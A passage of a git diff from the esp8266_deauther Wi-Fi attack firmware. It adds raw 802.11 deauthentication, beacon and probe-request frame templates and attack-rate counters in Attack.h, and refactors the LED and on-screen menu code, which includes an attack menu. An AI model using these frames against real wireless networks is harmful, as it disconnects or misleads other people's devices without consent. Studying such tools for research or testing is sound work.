0xff, // Destination: Broadcast - /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC - /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast - /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) - /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 - /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - /* 58 - 59 */ 0x01, 0x04, //Tag Number: Supported Rates (1), Tag length: 4 - /* 60 */ 0x82, // 1(B) - /* 61 */ 0x84, // 2(B) - /* 62 */ 0x8b, // 5.5(B) - /* 63 */ 0x96, // 11(B) - /* 64 */ 0x24, // 18 - /* 65 */ 0x30, // 24 - /* 66 */ 0x48, // 36 - /* 67 */ 0x6c // 54 - }; - - uint8_t beaconPacket[109] = { - /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame - /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast - /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source - /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + void updateCounter(); - // Fixed parameters - /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) - /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp - /* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s - /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation - - // Tagged parameters + bool running = false; + bool output = true; - // SSID parameters - /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 - /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, // SSID + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; - // Supported Rates - /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 - /* 72 */ 0x82, // 1(B) - /* 73 */ 0x84, // 2(B) - /* 74 */ 0x8b, // 5.5(B) - /* 75 */ 0x96, // 11(B) - /* 76 */ 0x24, // 18 - /* 77 */ 0x30, // 24 - /* 78 */ 0x48, // 36 - /* 79 */ 0x6c, // 54 - - // Current Channel - /* 80 - 81 */ 0x03, 0x01, // Channel set, length - /* 82 */ 0x01, // Current Channel - - // RSN information - /* 83 - 84 */ 0x30, 0x18, - /* 85 - 86 */ 0x01, 0x00, - /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, - /* 91 - 92 */ 0x02, 0x00, - /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02, - /* 101 - 102 */ 0x01, 0x00, - /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, - /* 107 - 108 */ 0x00, 0x00 - }; + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done + // by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - + // 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02, + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; }; -#endif - - - - +#endif // ifndef Attack_h \ No newline at end of file diff --git a/esp8266_deauther/DigitalLed.cpp b/esp8266_deauther/DigitalLed.cpp index 90cd09d..f9d8bd1 100644 --- a/esp8266_deauther/DigitalLed.cpp +++ b/esp8266_deauther/DigitalLed.cpp @@ -1,111 +1,36 @@ -#include "DigitalLed.h" - -DigitalLed::DigitalLed() { +#include "DigitalLED.h" +DigitalLED::DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode) { + DigitalLED::anode = anode; + DigitalLED::rPin = rPin; + DigitalLED::gPin = gPin; + DigitalLED::bPin = bPin; } -// setup pins -void DigitalLed::setup(){ - if(!settings.getLedEnabled()) return; +DigitalLED::~DigitalLED() {} - // ===== adjustable ===== // - if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT); - if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT); - if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT); - // ====================== // - - setMode(LED_MODE_OFF, true); +void DigitalLED::setup() { + if (rPin < 255) pinMode(rPin, OUTPUT); + + if (gPin < 255) pinMode(gPin, OUTPUT); + + if (bPin < 255) pinMode(bPin, OUTPUT); } -void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) { - // debug output - if (output){ - char s[30]; - sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b); - prnt(String(s)); - } - - // ===== adjustable ===== // - if(LED_CATHODE){ - r = r>0; - g = g>0; - b = b>0; - }else{ - r = !(r>0); - g = !(g>0); - b = !(b>0); - } +void DigitalLED::setColor(uint8_t r, uint8_t g, uint8_t b) { + if (anode) { + if (rPin < 255) digitalWrite(rPin, r > 0); - if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r); - if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g); - if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b); - // ====================== // + if (gPin < 255) digitalWrite(gPin, g > 0); - // debug output - if (output){ - char s[30]; - sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0); - prnt(String(s)); - } -} + if (bPin < 255) digitalWrite(bPin, b > 0); + } else { + if (rPin < 255) digitalWrite(rPin, r == 0); -// customize color codes for different LED modes -void DigitalLed::setMode(uint8_t mode, bool force) { - // ===== adjustable ===== // - if (mode != DigitalLed::mode || force) { - DigitalLed::mode = mode; - switch (mode) { - case LED_MODE_OFF: - setColor(0, 0, 0, 100, false); - break; - case LED_MODE_SCAN: - setColor(0, 0, 255, 100, false); - break; - case LED_MODE_ATTACK: - setColor(255, 255, 0, 100, false); - break; - case LED_MODE_DEAUTH: - setColor(255, 0, 0, 100, false); - break; - case LED_MODE_IDLE: - setColor(0, 255, 0, 100, false); - break; + if (gPin < 255) digitalWrite(gPin, g == 0); + + if (bPin < 255) digitalWrite(bPin, b == 0); } - } - // ====================== // } -void DigitalLed::tempEnable() { - tempEnabled = true; - prntln(L_ENABLED); -} - -void DigitalLed::tempDisable() { - tempEnabled = false; - prntln(L_DISABLED); -} - -bool DigitalLed::getTempEnabled() { - return tempEnabled; -} - -void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) { - setColor(r, g, b, 100, true); -} - -void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) { - setColor(r, g, b, brightness, true); -} - -void DigitalLed::update() { - if (!tempEnabled) return; - if (!settings.getLedEnabled() && tempEnabled) tempDisable(); - - if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false); - else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false); - else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false); - else setMode(LED_MODE_IDLE, false); -} - - - +void DigitalLED::setBrightness(uint8_t brightness) {} \ No newline at end of file diff --git a/esp8266_deauther/DigitalLed.h b/esp8266_deauther/DigitalLed.h index fdcac28..b43a570 100644 --- a/esp8266_deauther/DigitalLed.h +++ b/esp8266_deauther/DigitalLed.h @@ -1,45 +1,23 @@ -#ifndef DigitalLed_h -#define DigitalLed_h +#ifndef DigitalLED_H +#define DigitalLED_H -#include "Arduino.h" -extern "C" { - #include "user_interface.h" -} -#include "language.h" -#include "A_config.h" -#include "Settings.h" -#include "Attack.h" -#include "Scan.h" +#include "StatusLED.h" -#define LED_MODE_OFF 0 -#define LED_MODE_SCAN 1 -#define LED_MODE_ATTACK 2 -#define LED_MODE_DEAUTH 3 -#define LED_MODE_IDLE 4 +class DigitalLED : public StatusLED { + public: + DigitalLED(uint8_t rPin, uint8_t gPin, uint8_t bPin, bool anode); + ~DigitalLED(); -extern Settings settings; -extern Attack attack; -extern Scan scan; -extern Stations stations; + void setup(); + void setColor(uint8_t r, uint8_t g, uint8_t b); + void setBrightness(uint8_t brightness); + void setMode(uint8_t mode, bool force); -class DigitalLed { - public: - DigitalLed(); - void setup(); - void setColor(uint8_t r, uint8_t g, uint8_t b); - void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness); - void setMode(uint8_t mode, bool force); - void update(); - void tempEnable(); - void tempDisable(); - bool getTempEnabled(); - private: - uint8_t mode; - bool tempEnabled = true; - void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output); + private: + bool anode = true; + uint8_t rPin = 255; + uint8_t gPin = 255; + uint8_t bPin = 255; }; -#endif - - - +#endif // ifndef DigitalLED_H \ No newline at end of file diff --git a/esp8266_deauther/DisplayUI.cpp b/esp8266_deauther/DisplayUI.cpp index 997d987..4194ccf 100644 --- a/esp8266_deauther/DisplayUI.cpp +++ b/esp8266_deauther/DisplayUI.cpp @@ -1,874 +1,933 @@ #include "DisplayUI.h" -DisplayUI::DisplayUI() { - -} +DisplayUI::DisplayUI() {} void DisplayUI::setupDisplay() { - // ===== adjustable ===== // - // initialize display - display.init(); - /* - In case of a compiler (conversion char/uint8_t) error, - make sure to have version 4 of the display library installed - https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0 - */ - display.setFont(DejaVu_Sans_Mono_12); - display.setContrast(255); + // ===== adjustable ===== // + // initialize display + display.init(); + + /* + In case of a compiler (conversion char/uint8_t) error, + make sure to have version 4 of the display library installed + https://github.com/ThingPulse/esp8266-oled-ssd1306/releases/tag/4.0.0 + */ + display.setFont(DejaVu_Sans_Mono_12); + display.setContrast(255); #ifndef FLIP_DIPLAY - display.flipScreenVertically(); -#endif - display.clear(); - display.display(); - // ====================== // + display.flipScreenVertically(); +#endif // ifndef FLIP_DIPLAY + display.clear(); + display.display(); + // ====================== // } void DisplayUI::on() { - // ===== adjustable ===== // - if (enabled) { - display.displayOn(); - mode = SCREEN_MODE_MENU; - buttonUp.time = currentTime; // update a button time to keep display on - prntln(D_MSG_DISPLAY_ON); - } else { - prntln(D_ERROR_NOT_ENABLED); - } - // ====================== // + // ===== adjustable ===== // + if (enabled) { + display.displayOn(); + mode = SCREEN_MODE_MENU; + buttonUp.time = currentTime; // update a button time to keep display on + prntln(D_MSG_DISPLAY_ON); + } else { + prntln(D_ERROR_NOT_ENABLED); + } + // ====================== // } void DisplayUI::off() { - // ===== adjustable ===== // - if (enabled) { - display.displayOff(); - mode = SCREEN_MODE_OFF; - prntln(D_MSG_DISPLAY_OFF); - } else { - prntln(D_ERROR_NOT_ENABLED); - } - // ====================== // + // ===== adjustable ===== // + if (enabled) { + display.displayOff(); + mode = SCREEN_MODE_OFF; + prntln(D_MSG_DISPLAY_OFF); + } else { + prntln(D_ERROR_NOT_ENABLED); + } + // ====================== // } void DisplayUI::setupButtons() { - // ===== adjustable ===== // + // ===== adjustable ===== // #ifdef BUTTON_UP - buttonUp.enabled = true; - buttonUp.gpio = BUTTON_UP; -#else - buttonUp.enabled = false; -#endif + buttonUp.enabled = true; + buttonUp.gpio = BUTTON_UP; +#else // ifdef BUTTON_UP + buttonUp.enabled = false; +#endif // ifdef BUTTON_UP #ifdef BUTTON_DOWN - buttonDown.enabled = true; - buttonDown.gpio = BUTTON_DOWN; -#else - buttonDown.enabled = false; -#endif + buttonDown.enabled = true; + buttonDown.gpio = BUTTON_DOWN; +#else // ifdef BUTTON_DOWN + buttonDown.enabled = false; +#endif // ifdef BUTTON_DOWN #ifdef BUTTON_LEFT - buttonLeft.enabled = true; - buttonLeft.gpio = BUTTON_LEFT; -#else - buttonLeft.enabled = false; -#endif + buttonLeft.enabled = true; + buttonLeft.gpio = BUTTON_LEFT; +#else // ifdef BUTTON_LEFT + buttonLeft.enabled = false; +#endif // ifdef BUTTON_LEFT #ifdef BUTTON_RIGHT - buttonRight.enabled = true; - buttonRight.gpio = BUTTON_RIGHT; -#else - buttonRight.enabled = false; -#endif + buttonRight.enabled = true; + buttonRight.gpio = BUTTON_RIGHT; +#else // ifdef BUTTON_RIGHT + buttonRight.enabled = false; +#endif // ifdef BUTTON_RIGHT #ifdef BUTTON_A - buttonA.enabled = true; - buttonA.gpio = BUTTON_A; -#else - buttonA.enabled = false; -#endif + buttonA.enabled = true; + buttonA.gpio = BUTTON_A; +#else // ifdef BUTTON_A + buttonA.enabled = false; +#endif // ifdef BUTTON_A #ifdef BUTTON_B - buttonB.enabled = true; - buttonB.gpio = BUTTON_B; -#else - buttonB.enabled = false; -#endif + buttonB.enabled = true; + buttonB.gpio = BUTTON_B; +#else // ifdef BUTTON_B + buttonB.enabled = false; +#endif // ifdef BUTTON_B - // ====================== // - // setup and read functions - // ====================== // - buttonUp.setup = [this]() { - if (buttonUp.gpio != 2) pinMode(buttonUp.gpio, INPUT_PULLUP); - buttonUp.time = currentTime; - }; - buttonUp.read = [this]() { - return !digitalRead(buttonUp.gpio); - }; + // ====================== // + // setup and read functions + // ====================== // + buttonUp.setup = [this]() { + if (buttonUp.gpio != 2) pinMode(buttonUp.gpio, INPUT_PULLUP); + buttonUp.time = currentTime; + }; + buttonUp.read = [this]() { + return !digitalRead(buttonUp.gpio); + }; - buttonDown.setup = [this]() { - if (buttonDown.gpio != 2) pinMode(buttonDown.gpio, INPUT_PULLUP); - buttonDown.time = currentTime; - }; - buttonDown.read = [this]() { - return !digitalRead(buttonDown.gpio); - }; + buttonDown.setup = [this]() { + if (buttonDown.gpio != 2) pinMode(buttonDown.gpio, INPUT_PULLUP); + buttonDown.time = currentTime; + }; + buttonDown.read = [this]() { + return !digitalRead(buttonDown.gpio); + }; - buttonLeft.setup = [this]() { - if (buttonLeft.gpio != 2) pinMode(buttonLeft.gpio, INPUT_PULLUP); - buttonLeft.time = currentTime; - }; - buttonLeft.read = [this]() { - return !digitalRead(buttonLeft.gpio); - }; + buttonLeft.setup = [this]() { + if (buttonLeft.gpio != 2) pinMode(buttonLeft.gpio, INPUT_PULLUP); + buttonLeft.time = currentTime; + }; + buttonLeft.read = [this]() { + return !digitalRead(buttonLeft.gpio); + }; - buttonRight.setup = [this]() { - if (buttonRight.gpio != 2) pinMode(buttonRight.gpio, INPUT_PULLUP); - buttonRight.time = currentTime; - }; - buttonRight.read = [this]() { - return !digitalRead(buttonRight.gpio); - }; + buttonRight.setup = [this]() { + if (buttonRight.gpio != 2) pinMode(buttonRight.gpio, INPUT_PULLUP); + buttonRight.time = currentTime; + }; + buttonRight.read = [this]() { + return !digitalRead(buttonRight.gpio); + }; - buttonA.setup = [this]() { - if (buttonA.gpio != 2) pinMode(buttonA.gpio, INPUT_PULLUP); - buttonA.time = currentTime; - }; - buttonA.read = [this]() { - return !digitalRead(buttonA.gpio); - }; + buttonA.setup = [this]() { + if (buttonA.gpio != 2) pinMode(buttonA.gpio, INPUT_PULLUP); + buttonA.time = currentTime; + }; + buttonA.read = [this]() { + return !digitalRead(buttonA.gpio); + }; - buttonB.setup = [this]() { - if (buttonB.gpio != 2 ) pinMode(buttonB.gpio, INPUT_PULLUP); - buttonB.time = currentTime; - }; - buttonB.read = [this]() { - return !digitalRead(buttonB.gpio); - }; + buttonB.setup = [this]() { + if (buttonB.gpio != 2) pinMode(buttonB.gpio, INPUT_PULLUP); + buttonB.time = currentTime; + }; + buttonB.read = [this]() { + return !digitalRead(buttonB.gpio); + }; - // ====================== // + // ====================== // } void DisplayUI::setup() { - setupDisplay(); - setupButtons(); + setupDisplay(); + setupButtons(); - // ===== PUSH AND RELEASE FUNCTIONS ===== // - - // === BUTTON UP === // - buttonUp.push = [this]() { - if(buttonUp.time > currentTime - BUTTON_DELAY) return; - buttonUp.pushed = true; - buttonUp.time = currentTime; - scrollCounter = 0; + // ===== PUSH AND RELEASE FUNCTIONS ===== // - if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor - if (currentMenu->selected > 0) currentMenu->selected--; - else currentMenu->selected = currentMenu->list->size() - 1; - } else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel - scan.setChannel(wifi_channel + 1); - } - }; + // === BUTTON UP === // + buttonUp.push = [this]() { + if (buttonUp.time > currentTime - BUTTON_DELAY) return; - buttonUp.release = [this]() { - if (!buttonUp.pushed) return; - buttonUp.pushed = false; - }; + buttonUp.pushed = true; + buttonUp.time = currentTime; + scrollCounter = 0; - // === BUTTON DOWN === // - buttonDown.push = [this]() { - if(buttonDown.time > currentTime - BUTTON_DELAY) return; - buttonDown.pushed = true; - buttonDown.time = currentTime; - scrollCounter = 0; + if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected > 0) currentMenu->selected--; + else currentMenu->selected = currentMenu->list->size() - 1; + } else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel + 1); + } + }; - if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor - if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; - else currentMenu->selected = 0; - } else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel - scan.setChannel(wifi_channel - 1); - } - }; + buttonUp.release = [this]() { + if (!buttonUp.pushed) return; - buttonDown.release = [this]() { - if (!buttonDown.pushed) return; - buttonDown.pushed = false; - }; + buttonUp.pushed = false; + }; - // === BUTTON LEFT === // - buttonLeft.push = [this]() { - if(buttonLeft.time > currentTime - BUTTON_DELAY) return; - buttonLeft.pushed = true; - buttonLeft.time = currentTime; - scrollCounter = 0; - }; + // === BUTTON DOWN === // + buttonDown.push = [this]() { + if (buttonDown.time > currentTime - BUTTON_DELAY) return; - buttonLeft.release = [this]() { - if (!buttonLeft.pushed) return; - buttonLeft.pushed = false; - }; + buttonDown.pushed = true; + buttonDown.time = currentTime; + scrollCounter = 0; - // === BUTTON RIGHT === // - buttonRight.push = [this]() { - if(buttonRight.time > currentTime - BUTTON_DELAY) return; - buttonRight.pushed = true; - buttonRight.time = currentTime; - scrollCounter = 0; - }; + if (mode == SCREEN_MODE_MENU) { // when in menu, go up or down with cursor + if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++; + else currentMenu->selected = 0; + } else if (mode == SCREEN_MODE_PACKETMONITOR) { // when in packet monitor, change channel + scan.setChannel(wifi_channel - 1); + } + }; - buttonRight.release = [this]() { - if (!buttonRight.pushed) return; - buttonRight.pushed = false; - }; + buttonDown.release = [this]() { + if (!buttonDown.pushed) return; - // === BUTTON A === // - buttonA.push = [this]() { - if(!buttonA.pushed){ // first push - buttonA.pushed = true; - buttonA.time = currentTime; - scrollCounter = 0; - }else{ // holding button - if(currentTime - buttonA.time > 800 && !buttonA.hold){ - if(currentMenu->list->get(currentMenu->selected).hold) currentMenu->list->get(currentMenu->selected).hold(); - buttonA.hold = true; - } - } - }; + buttonDown.pushed = false; + }; - buttonA.release = [this]() { - if (!buttonA.pushed) return; // exit when button wasn't pushed before + // === BUTTON LEFT === // + buttonLeft.push = [this]() { + if (buttonLeft.time > currentTime - BUTTON_DELAY) return; - if(!buttonA.hold && currentTime - buttonA.time > 80){ - switch(mode){ - case SCREEN_MODE_MENU: - if( currentMenu->list->get(currentMenu->selected).click){ - currentMenu->list->get(currentMenu->selected).click(); - } - break; - case SCREEN_MODE_PACKETMONITOR: - case SCREEN_MODE_LOADSCAN: - scan.stop(); - mode = SCREEN_MODE_MENU; - break; - } - } - - buttonA.pushed = false; - buttonA.hold = false; - }; + buttonLeft.pushed = true; + buttonLeft.time = currentTime; + scrollCounter = 0; + }; - // === BUTTON B === // - buttonB.push = [this]() { - if(!buttonB.pushed && buttonB.time > currentTime - BUTTON_DELAY) return; - buttonB.pushed = true; - buttonB.time = currentTime; - scrollCounter = 0; - }; + buttonLeft.release = [this]() { + if (!buttonLeft.pushed) return; - buttonB.release = [this]() { - if (!buttonB.pushed) return; + buttonLeft.pushed = false; + }; - switch(mode){ - case SCREEN_MODE_MENU: - goBack(); - break; - case SCREEN_MODE_PACKETMONITOR: - case SCREEN_MODE_LOADSCAN: - scan.stop(); - mode = SCREEN_MODE_MENU; - break; - } - - buttonB.pushed = false; - }; + // === BUTTON RIGHT === // + buttonRight.push = [this]() { + if (buttonRight.time > currentTime - BUTTON_DELAY) return; - // === RUN SETUPS === // - // setting pin modes for buttons - if (buttonUp.enabled && buttonUp.setup) buttonUp.setup(); - if (buttonDown.enabled && buttonDown.setup) buttonDown.setup(); - if (buttonLeft.enabled && buttonLeft.setup) buttonLeft.setup(); - if (buttonRight.enabled && buttonRight.setup) buttonRight.setup(); - if (buttonA.enabled && buttonA.setup) buttonA.setup(); - if (buttonB.enabled && buttonB.setup) buttonB.setup(); + buttonRight.pushed = true; + buttonRight.time = currentTime; + scrollCounter = 0; + }; - // ===== MENUS ===== // + buttonRight.release = [this]() { + if (!buttonRight.pushed) return; - // MAIN MENU - createMenu(&mainMenu, NULL, [this]() { - addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN - addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW - addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK - addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR - scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel); - mode = SCREEN_MODE_PACKETMONITOR; + buttonRight.pushed = false; + }; + + // === BUTTON A === // + buttonA.push = [this]() { + if (!buttonA.pushed) { // first push + buttonA.pushed = true; + buttonA.time = currentTime; + scrollCounter = 0; + } else { // holding button + if ((currentTime - buttonA.time > 800) && !buttonA.hold) { + if (currentMenu->list->get(currentMenu->selected).hold) currentMenu->list->get( + currentMenu->selected).hold(); + buttonA.hold = true; + } + } + }; + + buttonA.release = [this]() { + if (!buttonA.pushed) return; // exit when button wasn't pushed before + + if (!buttonA.hold && (currentTime - buttonA.time > 80)) { + switch (mode) { + case SCREEN_MODE_MENU: + + if (currentMenu->list->get(currentMenu->selected).click) { + currentMenu->list->get(currentMenu->selected).click(); + } + break; + + case SCREEN_MODE_PACKETMONITOR: + case SCREEN_MODE_LOADSCAN: + scan.stop(); + mode = SCREEN_MODE_MENU; + break; + } + } + + buttonA.pushed = false; + buttonA.hold = false; + }; + + // === BUTTON B === // + buttonB.push = [this]() { + if (!buttonB.pushed && (buttonB.time > currentTime - BUTTON_DELAY)) return; + + buttonB.pushed = true; + buttonB.time = currentTime; + scrollCounter = 0; + }; + + buttonB.release = [this]() { + if (!buttonB.pushed) return; + + switch (mode) { + case SCREEN_MODE_MENU: + goBack(); + break; + + case SCREEN_MODE_PACKETMONITOR: + case SCREEN_MODE_LOADSCAN: + scan.stop(); + mode = SCREEN_MODE_MENU; + break; + } + + buttonB.pushed = false; + }; + + // === RUN SETUPS === // + // setting pin modes for buttons + if (buttonUp.enabled && buttonUp.setup) buttonUp.setup(); + + if (buttonDown.enabled && buttonDown.setup) buttonDown.setup(); + + if (buttonLeft.enabled && buttonLeft.setup) buttonLeft.setup(); + + if (buttonRight.enabled && buttonRight.setup) buttonRight.setup(); + + if (buttonA.enabled && buttonA.setup) buttonA.setup(); + + if (buttonB.enabled && buttonB.setup) buttonB.setup(); + + // ===== MENUS ===== // + + // MAIN MENU + createMenu(&mainMenu, NULL, [this]() { + addMenuNode(&mainMenu, D_SCAN, &scanMenu); /// SCAN + addMenuNode(&mainMenu, D_SHOW, &showMenu); // SHOW + addMenuNode(&mainMenu, D_ATTACK, &attackMenu); // ATTACK + addMenuNode(&mainMenu, D_PACKET_MONITOR, [this]() { // PACKET MONITOR + scan.start(SCAN_MODE_SNIFFER, 0, SCAN_MODE_OFF, 0, false, wifi_channel); + mode = SCREEN_MODE_PACKETMONITOR; + }); }); - }); - // SCAN MENU - createMenu(&scanMenu, &mainMenu, [this]() { - addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST - scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel); - mode = SCREEN_MODE_LOADSCAN; + // SCAN MENU + createMenu(&scanMenu, &mainMenu, [this]() { + addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST + scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel); + mode = SCREEN_MODE_LOADSCAN; + }); + 